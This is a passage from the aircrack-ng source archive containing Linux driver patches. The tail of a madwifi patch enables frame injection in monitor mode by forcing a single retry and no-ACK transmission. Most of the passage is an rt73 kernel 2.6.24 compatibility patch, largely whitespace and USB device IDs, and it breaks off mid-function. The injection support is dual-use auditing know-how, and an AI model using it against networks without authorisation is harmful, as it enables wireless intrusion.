= ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; @@ -2913,7 +2919,7 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); - if (IEEE80211_IS_MULTICAST(wh->i_addr1)) { + if (IEEE80211_IS_MULTICAST(wh->i_addr1) || ((ic->ic_opmode == IEEE80211_M_MONITOR) && (skb->data[1]&3) != 0x01) ) { flags |= HAL_TXDESC_NOACK; /* no ack on broad/multicast */ sc->sc_stats.ast_tx_noack++; try0 = 1; aircrack-ng-1.2-rc4/patches/old/rt73_2.6.24.patch0000644000000000000000000012205611050372022017555 0ustar rootrootdiff -Naur rt73-k2wrlz-2.0.1/Module/rtmp_def.h rt73-k2wrlz-2.0.1-24/Module/rtmp_def.h --- rt73-k2wrlz-2.0.1/Module/rtmp_def.h 2007-07-10 10:01:32.000000000 +0200 +++ rt73-k2wrlz-2.0.1-24/Module/rtmp_def.h 2008-02-13 23:12:13.000000000 +0100 @@ -1,26 +1,26 @@ -/*************************************************************************** - * RT2x00 SourceForge Project - http://rt2x00.serialmonkey.com * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, write to the * - * Free Software Foundation, Inc., * - * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * - * * - * Licensed under the GNU GPL * - * Original code supplied under license from RaLink Inc, 2004. * +/*************************************************************************** + * RT2x00 SourceForge Project - http://rt2x00.serialmonkey.com * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the * + * Free Software Foundation, Inc., * + * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * + * * + * Licensed under the GNU GPL * + * Original code supplied under license from RaLink Inc, 2004. * ***************************************************************************/ -/*************************************************************************** +/*************************************************************************** * Module Name: rtmp_def.h * * Abstract: Miniport related definition header @@ -31,7 +31,7 @@ * Paul Lin 08-01-2002 created * John Chang 08-05-2003 add definition for 11g & other drafts * idamlaj 04-10-2006 Add extra devices - * + * ***************************************************************************/ #ifndef __RTMP_DEF_H__ @@ -61,7 +61,7 @@ #define TYPE_RXD 1 #endif -//WEP +//WEP #define WEP_SMALL_KEY_LEN (40/8) #define WEP_LARGE_KEY_LEN (104/8) @@ -237,7 +237,7 @@ #define MAX_LEN_OF_SUPPORTED_RATES 12 // 1, 2, 5.5, 11, 6, 9, 12, 18, 24, 36, 48, 54 #define MAX_LEN_OF_KEY 32 // 32 octets == 256 bits, Redefine for WPA -#define MAX_NUM_OF_CHANNELS 43 //1-14, 36/40/44/48/52/56/60/64/100/104/108/112/116/120/124/ +#define MAX_NUM_OF_CHANNELS 43 //1-14, 36/40/44/48/52/56/60/64/100/104/108/112/116/120/124/ //128/132/136/140/149/153/157/161/165/34/38/42/46 + 1 as NULL termination #define MAX_NUM_OF_A_CHANNELS 24 //36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 149, 153, 157, 161, 165 #define J52_CHANNEL_START_OFFSET 38 //1-14, 36/40/44/48/52/56/60/64/100/104/108/112/116/120/124/ @@ -245,7 +245,7 @@ #define MAX_LEN_OF_SSID 32 #define CIPHER_TEXT_LEN 128 #define MAX_LEN_OF_MLME_BUFFER 2048 -#define MAX_MLME_HANDLER_MEMORY 20 //each them cantains MAX_LEN_OF_MLME_BUFFER size +#define MAX_MLME_HANDLER_MEMORY 20 //each them cantains MAX_LEN_OF_MLME_BUFFER size #define MAX_FRAME_LEN 2338 #define MAX_VIE_LEN 160 // New for WPA cipher suite variable IE sizes. @@ -304,7 +304,7 @@ #define MLME_SUCCESS 0 #define MLME_UNSPECIFY_FAIL 1 #define MLME_CANNOT_SUPPORT_CAP 10 -#define MLME_REASSOC_DENY_ASSOC_EXIST 11 +#define MLME_REASSOC_DENY_ASSOC_EXIST 11 #define MLME_ASSOC_DENY_OUT_SCOPE 12 #define MLME_ALG_NOT_SUPPORT 13 #define MLME_SEQ_NR_OUT_OF_SEQUENCE 14 @@ -334,7 +334,7 @@ #define IE_802_11D_REQUEST 10 // 802.11d #define IE_QBSS_LOAD 11 // 802.11e d9 #define IE_EDCA_PARAMETER 12 // 802.11e d9 -#define IE_TSPEC 13 // 802.11e d9 +#define IE_TSPEC 13 // 802.11e d9 #define IE_TCLAS 14 // 802.11e d9 #define IE_SCHEDULE 15 // 802.11e d9 #define IE_CHALLENGE_TEXT 16 @@ -422,7 +422,7 @@ #define ASSOC_MACHINE_BASE 0 #define MT2_MLME_ASSOC_REQ 0 #define MT2_MLME_REASSOC_REQ 1 -#define MT2_MLME_DISASSOC_REQ 2 +#define MT2_MLME_DISASSOC_REQ 2 #define MT2_PEER_DISASSOC_REQ 3 #define MT2_PEER_ASSOC_REQ 4 #define MT2_PEER_ASSOC_RSP 5 @@ -491,7 +491,7 @@ // // STA's WPA-PSK State machine: states, events, total function # -// +// #define WPA_PSK_IDLE 0 #define MAX_WPA_PSK_STATE 1 @@ -650,8 +650,8 @@ #define CIPHER_AES 4 #define CIPHER_CKIP64 5 #define CIPHER_CKIP128 6 -#define CIPHER_TKIP_NO_MIC 7 // MIC has been appended by driver, not a valid value in hardware key table - +#define CIPHER_TKIP_NO_MIC 7 // MIC has been appended by driver, not a valid value in hardware key table + // value domain for pAd->RfIcType #define RFIC_5226 1 //A/B/G @@ -813,6 +813,7 @@ // VID/PID //------------------- +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) #define RT73_USB_DEVICES { \ {USB_DEVICE(0x0b05,0x1723)}, /* ASUS */ \ {USB_DEVICE(0x148f,0x2573)}, /* Ralink */ \ @@ -843,7 +844,38 @@ {USB_DEVICE(0x0df6,0x90ac)}, /* Sitecom */ \ {USB_DEVICE(0x13b1,0x0023)}, /* LinkSys */ \ {USB_DEVICE(0,0)}} /* end marker */ - +#else +#define RT73_USB_DEVICES { \ + {USB_DEVICE(0x0b05,0x1723)}, /* ASUS */ \ + {USB_DEVICE(0x148f,0x2573)}, /* Ralink */ \ + {USB_DEVICE(0x148f,0x2671)}, /* Ralink */ \ + {USB_DEVICE(0x18e8,0x6196)}, /* Qcom */ \ + {USB_DEVICE(0x18e8,0x6229)}, /* Qcom */ \ + {USB_DEVICE(0x1044,0x8008)}, /* Gigabyte */ \ + {USB_DEVICE(0x14b2,0x3c22)}, /* Conceptronic */ \ + {USB_DEVICE(0x0db0,0x6877)}, /* MSI */ \ + {USB_DEVICE(0x0db0,0xa874)}, /* MSI */ \ + {USB_DEVICE(0x0db0,0xa861)}, /* MSI */ \ + {USB_DEVICE(0x07b8,0xb21d)}, /* AboCom */ \ + {USB_DEVICE(0x0769,0x31f3)}, /* Surecom */ \ + {USB_DEVICE(0x1472,0x0009)}, /* Huawei-3Com */ \ + {USB_DEVICE(0x1371,0x9022)}, /* CNet */ \ + {USB_DEVICE(0x1371,0x9032)}, /* CNet */ \ + {USB_DEVICE(0x1631,0xc019)}, /* Billionton */ \ + {USB_DEVICE(0x1044,0x800a)}, /* Gigabyte */ \ + {USB_DEVICE(0x07d1,0x3c03)}, /* D-Link */ \ + {USB_DEVICE(0x07d1,0x3c04)}, /* D-Link */ \ + {USB_DEVICE(0x050d,0x7050)}, /* Belkin */ \ + {USB_DEVICE(0x050d,0x705a)}, /* Belkin */ \ + {USB_DEVICE(0x13b1,0x0020)}, /* Linksys */ \ + {USB_DEVICE(0x18e8,0x6196)}, /* Qcom*/ \ + {USB_DEVICE(0x0df6,0x9712)}, /* Sitecom */ \ + {USB_DEVICE(0x06f8,0xe010)}, /* Hercules */ \ + {USB_DEVICE(0x1690,0x0722)}, /* Askey */ \ + {USB_DEVICE(0x0df6,0x90ac)}, /* Sitecom */ \ + {USB_DEVICE(0x13b1,0x0023)}, /* LinkSys */ \ + {}} /* end marker */ +#endif #endif // __RTMP_DEF_H__ diff -Naur rt73-k2wrlz-2.0.1/Module/rtmp_main.c rt73-k2wrlz-2.0.1-24/Module/rtmp_main.c --- rt73-k2wrlz-2.0.1/Module/rtmp_main.c 2007-10-26 21:35:39.000000000 +0200 +++ rt73-k2wrlz-2.0.1-24/Module/rtmp_main.c 2008-02-13 23:03:14.000000000 +0100 @@ -1,26 +1,26 @@ -/*************************************************************************** - * RT2x00 SourceForge Project - http://rt2x00.serialmonkey.com * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, write to the * - * Free Software Foundation, Inc., * - * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * - * * - * Licensed under the GNU GPL * - * Original code supplied under license from RaLink Inc, 2004. * +/*************************************************************************** + * RT2x00 SourceForge Project - http://rt2x00.serialmonkey.com * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the * + * Free Software Foundation, Inc., * + * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * + * * + * Licensed under the GNU GPL * + * Original code supplied under license from RaLink Inc, 2004. * ***************************************************************************/ -/*************************************************************************** +/*************************************************************************** * Module Name: rtmp_main.c * * Abstract: Main initialization routines @@ -29,8 +29,8 @@ * Who When What * -------- ---------- ----------------------------- * Jan Lee 01-10-2005 modified - * idamlaj 04-10-2006 Apply patch by Ace17 (from forum) - * + * idamlaj 04-10-2006 Apply patch by Ace17 (from forum) + * ***************************************************************************/ #include "rt_config.h" @@ -67,7 +67,7 @@ /* module table */ struct usb_device_id rtusb_usb_id[] = RT73_USB_DEVICES; -INT const rtusb_usb_id_len = sizeof(rtusb_usb_id) / sizeof(struct usb_device_id); +INT const rtusb_usb_id_len = sizeof(rtusb_usb_id) / sizeof(struct usb_device_id); MODULE_DEVICE_TABLE(usb, rtusb_usb_id); @@ -158,7 +158,7 @@ // for cslip etc pAd->stats.rx_compressed = 0; pAd->stats.tx_compressed = 0; - + return &pAd->stats; } @@ -214,22 +214,22 @@ #endif VOID RTUSBHalt( - IN PRTMP_ADAPTER pAd, + IN PRTMP_ADAPTER pAd, IN BOOLEAN IsFree) { MLME_DISASSOC_REQ_STRUCT DisReq; MLME_QUEUE_ELEM MsgElem; INT i; - + DBGPRINT(RT_DEBUG_TRACE, "====> RTUSBHalt\n"); // - // before set flag fRTMP_ADAPTER_HALT_IN_PROGRESS, + // before set flag fRTMP_ADAPTER_HALT_IN_PROGRESS, // we should send a disassoc frame to our AP. // if (!RTMP_TEST_FLAG(pAd, fRTMP_ADAPTER_NIC_NOT_EXIST)) { - if (INFRA_ON(pAd)) + if (INFRA_ON(pAd)) { COPY_MAC_ADDR(DisReq.Addr, pAd->PortCfg.Bssid); DisReq.Reason = REASON_DISASSOC_STA_LEAVING; @@ -252,7 +252,7 @@ RTMPSendNullFrame(pAd, RATE_6); RTMPusecDelay(1000); } - + // disable BEACON generation and other BEACON related hardware timers AsicDisableSync(pAd); RTMPSetLED(pAd, LED_HALT); @@ -281,23 +281,23 @@ // Free the entire adapter object ReleaseAdapter(pAd, IsFree, FALSE); - + // reset mlme & command thread pAd->MLMEThr_pid = -1; pAd->RTUSBCmdThr_pid = -1; - + RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_HALT_IN_PROGRESS); } VOID CMDHandler( - IN PRTMP_ADAPTER pAd) + IN PRTMP_ADAPTER pAd) { PCmdQElmt cmdqelmt; PUCHAR pData; NDIS_STATUS NdisStatus = NDIS_STATUS_SUCCESS; ULONG IrqFlags; ULONG Now; - + while (pAd->CmdQ.size > 0) { NdisStatus = NDIS_STATUS_SUCCESS; @@ -339,7 +339,7 @@ // Update extra information pAd->ExtraInfo = HW_RADIO_OFF; } - } + } } break; @@ -351,11 +351,11 @@ { if (pAd->Mlme.CntlMachine.CurrState != CNTL_IDLE) { - MlmeEnqueue(pAd, + MlmeEnqueue(pAd, MLME_CNTL_STATE_MACHINE, RT_CMD_RESET_MLME, 0, - NULL); + NULL); } @@ -372,17 +372,17 @@ RTUSBMlmeUp(pAd); } break; - + case RT_OID_802_11_BSSID: { if (pAd->Mlme.CntlMachine.CurrState != CNTL_IDLE) { - MlmeEnqueue(pAd, + MlmeEnqueue(pAd, MLME_CNTL_STATE_MACHINE, RT_CMD_RESET_MLME, 0, - NULL); + NULL); } @@ -399,16 +399,16 @@ RTUSBMlmeUp(pAd); } break; - + case OID_802_11_SSID: { if (pAd->Mlme.CntlMachine.CurrState != CNTL_IDLE) - { - MlmeEnqueue(pAd, + { + MlmeEnqueue(pAd, MLME_CNTL_STATE_MACHINE, RT_CMD_RESET_MLME, 0, - NULL); + NULL); } @@ -421,7 +421,7 @@ MlmeEnqueue(pAd, MLME_CNTL_STATE_MACHINE, OID_802_11_SSID, - cmdqelmt->bufferlength, + cmdqelmt->bufferlength, pData); RTUSBMlmeUp(pAd); } @@ -431,11 +431,11 @@ { if (pAd->Mlme.CntlMachine.CurrState != CNTL_IDLE) { - MlmeEnqueue(pAd, + MlmeEnqueue(pAd, MLME_CNTL_STATE_MACHINE, RT_CMD_RESET_MLME, 0, - NULL); + NULL); } @@ -456,7 +456,7 @@ NDIS_802_11_ANTENNA Antenna = *(NDIS_802_11_ANTENNA *)pData; - if (Antenna == 0) + if (Antenna == 0) pAd->Antenna.field.RxDefaultAntenna = 1; // ant-A else if(Antenna == 1) pAd->Antenna.field.RxDefaultAntenna = 2; // ant-B @@ -473,7 +473,7 @@ { NDIS_802_11_ANTENNA Antenna = *(NDIS_802_11_ANTENNA *)pData; - if (Antenna == 0) + if (Antenna == 0) pAd->Antenna.field.TxDefaultAntenna = 1; // ant-A else if(Antenna == 1) pAd->Antenna.field.TxDefaultAntenna = 2; // ant-B @@ -517,7 +517,7 @@ RTUSBReadEEPROM(pAd, Offset, pData + 4, Length); } break; - + case RT_OID_USB_VENDOR_EEPROM_WRITE: { USHORT Offset = *((PUSHORT)pData); @@ -563,26 +563,26 @@ case RT_OID_USB_RESET_BULK_OUT: { INT Index; - + DBGPRINT_RAW(RT_DEBUG_ERROR, "RT_OID_USB_RESET_BULK_OUT\n"); - + RTMP_SET_FLAG(pAd, fRTMP_ADAPTER_RESET_PIPE_IN_PROGRESS); - RTUSBRejectPendingPackets(pAd); //reject all NDIS packets waiting in TX queue + RTUSBRejectPendingPackets(pAd); //reject all NDIS packets waiting in TX queue RTUSBCancelPendingBulkOutIRP(pAd); RTUSBCleanUpDataBulkOutQueue(pAd); NICInitializeAsic(pAd); ReleaseAdapter(pAd, FALSE, TRUE); // unlink urb releated tx context NICInitTransmit(pAd); - - RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_RESET_PIPE_IN_PROGRESS); - + + RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_RESET_PIPE_IN_PROGRESS); + if (RTMP_TEST_FLAG(pAd, fRTMP_ADAPTER_BULKOUT_RESET)) { RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_BULKOUT_RESET); } - + if (!RTMP_TEST_FLAG(pAd, fRTMP_ADAPTER_RADIO_OFF)) { for (Index = 0; Index < 4; Index++) @@ -594,8 +594,8 @@ } RTUSBKickBulkOut(pAd); - } - } + } + } break; @@ -618,7 +618,7 @@ } if (pRxContext->TransferBuffer != NULL) { - kfree(pRxContext->TransferBuffer); + kfree(pRxContext->TransferBuffer); pRxContext->TransferBuffer = NULL; } } @@ -722,9 +722,9 @@ //disable Rx RTUSBWriteMACRegister(pAd, TXRX_CSR2, 1); //Ask our device to complete any pending bulk in IRP. - while ((atomic_read(&pAd->PendingRx) > 0) || + while ((atomic_read(&pAd->PendingRx) > 0) || (pAd->BulkOutPending[0] == TRUE) || - (pAd->BulkOutPending[1] == TRUE) || + (pAd->BulkOutPending[1] == TRUE) || (pAd->BulkOutPending[2] == TRUE) || (pAd->BulkOutPending[3] == TRUE)) @@ -743,7 +743,7 @@ } if ((pAd->BulkOutPending[0] == TRUE) || - (pAd->BulkOutPending[1] == TRUE) || + (pAd->BulkOutPending[1] == TRUE) || (pAd->BulkOutPending[2] == TRUE) || (pAd->BulkOutPending[3] == TRUE)) { @@ -758,7 +758,7 @@ RTMPusecDelay(500000); } - NICResetFromError(pAd); + NICResetFromError(pAd); if (RTMP_TEST_FLAG(pAd, fRTMP_ADAPTER_HARDWARE_ERROR)) { RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_HARDWARE_ERROR); @@ -814,12 +814,12 @@ case RT_OID_VENDOR_WRITE_RF: { ULONG Value = *((PULONG)pData); - + DBGPRINT_RAW(RT_DEBUG_INFO, "value = 0x%08x\n", Value); RTUSBWriteRFRegister(pAd, Value); } break; - + case RT_OID_802_11_RESET_COUNTERS: { UCHAR Value[22]; @@ -865,7 +865,7 @@ NULL, 0); break; -#endif +#endif case RT_OID_VENDOR_FLIP_IQ: { ULONG Value1, Value2; @@ -926,7 +926,7 @@ else NdisStatus = NDIS_STATUS_FAILURE; DBGPRINT(RT_DEBUG_ERROR, "CMDHandler::OID_802_11_NETWORK_TYPE_IN_USE (=%d)\n",NetType); - + } break; case RT_OID_802_11_PHY_MODE: @@ -958,7 +958,7 @@ pAd->PortCfg.GroupCipher = WepStatus; #if 1 - if ((WepStatus == Ndis802_11Encryption1Enabled) && + if ((WepStatus == Ndis802_11Encryption1Enabled) && (pAd->SharedKey[pAd->PortCfg.DefaultKeyId].KeyLen != 0)) { if (pAd->SharedKey[pAd->PortCfg.DefaultKeyId].KeyLen <= 5) @@ -973,7 +973,7 @@ pAd->SharedKey[pAd->PortCfg.DefaultKeyId].CipherAlg = CIPHER_WEP128; } -#if 0 +#if 0 RTUSBReadMACRegister_old(pAd, TXRX_CSR0, &Value); Value &= 0xfe00; Value |= ((LENGTH_802_11 << 3) | (pAd->PortCfg.CipherAlg)); @@ -1013,7 +1013,7 @@ Value &= 0xfe00; RTUSBWriteMACRegister_old(pAd, TXRX_CSR0, Value); #endif - }else + }else { DBGPRINT(RT_DEBUG_ERROR, " ERROR Cipher !!! \n"); } @@ -1027,7 +1027,7 @@ PNDIS_802_11_WEP pWepKey; DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_ADD_WEP \n"); - + pWepKey = (PNDIS_802_11_WEP)pData; KeyIdx = pWepKey->KeyIndex & 0x0fffffff; @@ -1037,7 +1037,7 @@ NdisStatus = NDIS_STATUS_FAILURE; DBGPRINT(RT_DEBUG_ERROR, "CMDHandler::OID_802_11_ADD_WEP, INVALID_DATA!!\n"); } - else + else { UCHAR CipherAlg; pAd->SharedKey[KeyIdx].KeyLen = (UCHAR) pWepKey->KeyLength; @@ -1048,18 +1048,18 @@ { // Default key for tx (shared key) pAd->PortCfg.DefaultKeyId = (UCHAR) KeyIdx; - } + } AsicAddSharedKeyEntry(pAd, 0, (UCHAR)KeyIdx, CipherAlg, pWepKey->KeyMaterial, NULL, NULL); DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_ADD_WEP (KeyIdx=%d, Len=%d-byte)\n", KeyIdx, pWepKey->KeyLength); } } break; - + case OID_802_11_REMOVE_WEP: { ULONG KeyIdx; - + KeyIdx = *(NDIS_802_11_KEY_INDEX *) pData; if (KeyIdx & 0x80000000) { @@ -1081,14 +1081,14 @@ AsicRemoveSharedKeyEntry(pAd, 0, (UCHAR)KeyIdx); DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_REMOVE_WEP (KeyIdx=%d)\n", KeyIdx); } - } + } } break; case OID_802_11_ADD_KEY_WEP: { PNDIS_802_11_KEY pKey; - ULONG i, KeyIdx; + ULONG i, KeyIdx; pKey = (PNDIS_802_11_KEY) pData; KeyIdx = pKey->KeyIndex & 0x0fffffff; @@ -1099,10 +1099,10 @@ NdisStatus = NDIS_STATUS_FAILURE; DBGPRINT(RT_DEBUG_ERROR, "CMDHandler::OID_802_11_ADD_KEY_WEP, Invalid KeyIdx[=%d]!!\n", KeyIdx); } - else + else { UCHAR CipherAlg; - + pAd->SharedKey[KeyIdx].KeyLen = (UCHAR) pKey->KeyLength; memcpy(pAd->SharedKey[KeyIdx].Key, &pKey->KeyMaterial, pKey->KeyLength); @@ -1118,12 +1118,12 @@ { for(i = 1; i < (16 / pKey->KeyLength); i++) { - memcpy(&pAd->SharedKey[KeyIdx].Key[i * pKey->KeyLength], - &pKey->KeyMaterial[0], + memcpy(&pAd->SharedKey[KeyIdx].Key[i * pKey->KeyLength], + &pKey->KeyMaterial[0], pKey->KeyLength); } - memcpy(&pAd->SharedKey[KeyIdx].Key[i * pKey->KeyLength], - &pKey->KeyMaterial[0], + memcpy(&pAd->SharedKey[KeyIdx].Key[i * pKey->KeyLength], + &pKey->KeyMaterial[0], 16 - (i * pKey->KeyLength)); } @@ -1135,16 +1135,16 @@ } AsicAddSharedKeyEntry(pAd, 0, (UCHAR)KeyIdx, CipherAlg, pAd->SharedKey[KeyIdx].Key, NULL, NULL); - DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_ADD_KEY_WEP (KeyIdx=%d, KeyLen=%d, CipherAlg=%d)\n", + DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_ADD_KEY_WEP (KeyIdx=%d, KeyLen=%d, CipherAlg=%d)\n", pAd->PortCfg.DefaultKeyId, pAd->SharedKey[KeyIdx].KeyLen, pAd->SharedKey[KeyIdx].CipherAlg); } } break; case OID_802_11_ADD_KEY: - { + { PNDIS_802_11_KEY pkey = (PNDIS_802_11_KEY)pData; - + NdisStatus = RTMPWPAAddKeyProc(pAd, pkey); RTUSBBulkReceive(pAd); DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_ADD_KEY\n"); @@ -1157,7 +1157,7 @@ { ULONG KeyIdx; - + KeyIdx = *(NDIS_802_11_KEY_INDEX *) pData; if (KeyIdx & 0x80000000) { @@ -1179,7 +1179,7 @@ } } break; -#if 0 +#if 0 { //PNDIS_802_11_REMOVE_KEY pRemoveKey; ULONG KeyIdx; @@ -1190,7 +1190,7 @@ DBGPRINT(RT_DEBUG_ERROR, "CMDHandler::OID_802_11_REMOVE_WEP\n"); //if (InformationBufferLength != sizeof(NDIS_802_11_KEY_INDEX)) // Status = NDIS_STATUS_INVALID_LENGTH; - //else + //else { KeyIdx = *(NDIS_802_11_KEY_INDEX *) pData; @@ -1223,17 +1223,17 @@ { PNDIS_802_11_REMOVE_KEY pRemoveKey; ULONG KeyIdx; - + pRemoveKey = (PNDIS_802_11_REMOVE_KEY) pData; if (pAd->PortCfg.AuthMode >= Ndis802_11AuthModeWPA) { NdisStatus = RTMPWPARemoveKeyProc(pAd, pData); DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::RTMPWPARemoveKeyProc\n"); } - else + else { KeyIdx = pRemoveKey->KeyIndex; - + if (KeyIdx & 0x80000000) { // Should never set default bit when remove key @@ -1246,7 +1246,7 @@ if (KeyIdx >= 4) { NdisStatus = NDIS_STATUS_FAILURE; - DBGPRINT(RT_DEBUG_ERROR, "CMDHandler::OID_802_11_REMOVE_KEY, Invalid KeyIdx[=%d]!!\n", KeyIdx); + DBGPRINT(RT_DEBUG_ERROR, "CMDHandler::OID_802_11_REMOVE_KEY, Invalid KeyIdx[=%d]!!\n", KeyIdx); } else { @@ -1260,24 +1260,24 @@ } break; - + case OID_802_11_POWER_MODE: { NDIS_802_11_POWER_MODE PowerMode = *(PNDIS_802_11_POWER_MODE) pData; DBGPRINT(RT_DEBUG_TRACE, "CMDHandler::OID_802_11_POWER_MODE (=%d)\n",PowerMode); - + // save user's policy here, but not change PortCfg.Psm immediately - if (PowerMode == Ndis802_11PowerModeCAM) + if (PowerMode == Ndis802_11PowerModeCAM) { // clear PSM bit immediately MlmeSetPsmBit(pAd, PWR_ACTIVE); - - OPSTATUS_SET_FLAG(pAd, fOP_STATUS_RECEIVE_DTIM); + + OPSTATUS_SET_FLAG(pAd, fOP_STATUS_RECEIVE_DTIM); if (pAd->PortCfg.bWindowsACCAMEnable == FALSE) pAd->PortCfg.WindowsPowerMode = PowerMode; pAd->PortCfg.WindowsBatteryPowerMode = PowerMode; - } - else if (PowerMode == Ndis802_11PowerModeMAX_PSP) + } + else if (PowerMode == Ndis802_11PowerModeMAX_PSP) { // do NOT turn on PSM bit here, wait until MlmeCheckPsmChange() // to exclude certain situations. @@ -1285,10 +1285,10 @@ if (pAd->PortCfg.bWindowsACCAMEnable == FALSE) pAd->PortCfg.WindowsPowerMode = PowerMode; pAd->PortCfg.WindowsBatteryPowerMode = PowerMode; - OPSTATUS_SET_FLAG(pAd, fOP_STATUS_RECEIVE_DTIM); + OPSTATUS_SET_FLAG(pAd, fOP_STATUS_RECEIVE_DTIM); pAd->PortCfg.DefaultListenCount = 5; - } - else if (PowerMode == Ndis802_11PowerModeFast_PSP) + } + else if (PowerMode == Ndis802_11PowerModeFast_PSP) { // do NOT turn on PSM bit here, wait until MlmeCheckPsmChange() // to exclude certain situations. @@ -1298,8 +1298,8 @@ pAd->PortCfg.WindowsPowerMode = PowerMode; pAd->PortCfg.WindowsBatteryPowerMode = PowerMode; pAd->PortCfg.DefaultListenCount = 3; - } - } + } + } break; case RT_PERFORM_SOFT_DIVERSITY: @@ -1318,7 +1318,7 @@ break; } - + if (cmdqelmt->CmdFromNdis == TRUE) { if ((cmdqelmt->command != OID_802_11_BSSID_LIST_SCAN) && @@ -1330,20 +1330,20 @@ if ((cmdqelmt->command != RT_OID_MULTI_READ_MAC) && (cmdqelmt->command != RT_OID_VENDOR_READ_BBP) && -#ifdef DBG +#ifdef DBG (cmdqelmt->command != RT_OID_802_11_QUERY_HARDWARE_REGISTER) && -#endif +#endif (cmdqelmt->command != RT_OID_USB_VENDOR_EEPROM_READ)) { if (cmdqelmt->buffer != NULL) kfree(cmdqelmt->buffer); } - + kfree((PCmdQElmt)cmdqelmt); } else cmdqelmt->InUse = FALSE; - + } @@ -1443,16 +1443,16 @@ PRTMP_ADAPTER pAd = (PRTMP_ADAPTER) net_dev->priv; NDIS_STATUS Status = NDIS_STATUS_SUCCESS; UCHAR TmpPhy; - + printk("rt73 driver version - %s\n", DRIVER_VERSION); init_MUTEX(&(pAd->usbdev_semaphore)); - + // init mediastate to disconnected OPSTATUS_CLEAR_FLAG(pAd, fOP_STATUS_MEDIA_STATE_CONNECTED); - + pAd->rx_bh.func = RTUSBRxPacket; - + // Initialize pAd->PortCfg to manufacture default PortCfgInit(pAd); @@ -1481,19 +1481,19 @@ { goto out; } - + // Wait for hardware stable { ULONG MacCsr0 = 0, Index = 0; - + do { Status = RTUSBReadMACRegister(pAd, MAC_CSR0, &MacCsr0); if (MacCsr0 != 0) break; - + RTMPusecDelay(1000); } while (Index++ < 1000); DBGPRINT(RT_DEBUG_TRACE, "Init: MAC_CSR0=0x%08x, Status=0x%08x\n", MacCsr0, Status); @@ -1509,8 +1509,8 @@ // Initialize Asics NICInitializeAsic(pAd); - // Read RaConfig profile parameters -#ifdef READ_PROFILE_FROM_FILE + // Read RaConfig profile parameters +#ifdef READ_PROFILE_FROM_FILE RTMPReadParametersFromFile(pAd); #endif @@ -1560,7 +1560,7 @@ memcpy(pAd->net_dev->dev_addr, pAd->CurrentAddress, pAd->net_dev->addr_len); else memcpy(pAd->CurrentAddress, pAd->net_dev->dev_addr, pAd->net_dev->addr_len); - + // Clear Reset Flag before starting receiving/transmitting RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_RESET_IN_PROGRESS); @@ -1577,10 +1577,10 @@ // USB_ID info for UI pAd->VendorDesc = 0x148F2573; - + // Start net_dev interface tx /rx netif_start_queue(net_dev); - + netif_carrier_on(net_dev); netif_wake_queue(net_dev); return 0; @@ -1598,17 +1598,17 @@ PRTMP_ADAPTER pAd = (PRTMP_ADAPTER) net_dev->priv; int ret; int i = 0; - - DECLARE_WAIT_QUEUE_HEAD (unlink_wakeup); + + DECLARE_WAIT_QUEUE_HEAD (unlink_wakeup); DECLARE_WAITQUEUE (wait, current); - + DBGPRINT(RT_DEBUG_TRACE,"-->rt73_close\n"); - + netif_carrier_off(pAd->net_dev); netif_stop_queue(pAd->net_dev); DBGPRINT(RT_DEBUG_INFO,"Ensure there are no more active urbs \n"); - // ensure there are no more active urbs. + // ensure there are no more active urbs. add_wait_queue (&unlink_wakeup, &wait); pAd->wait = 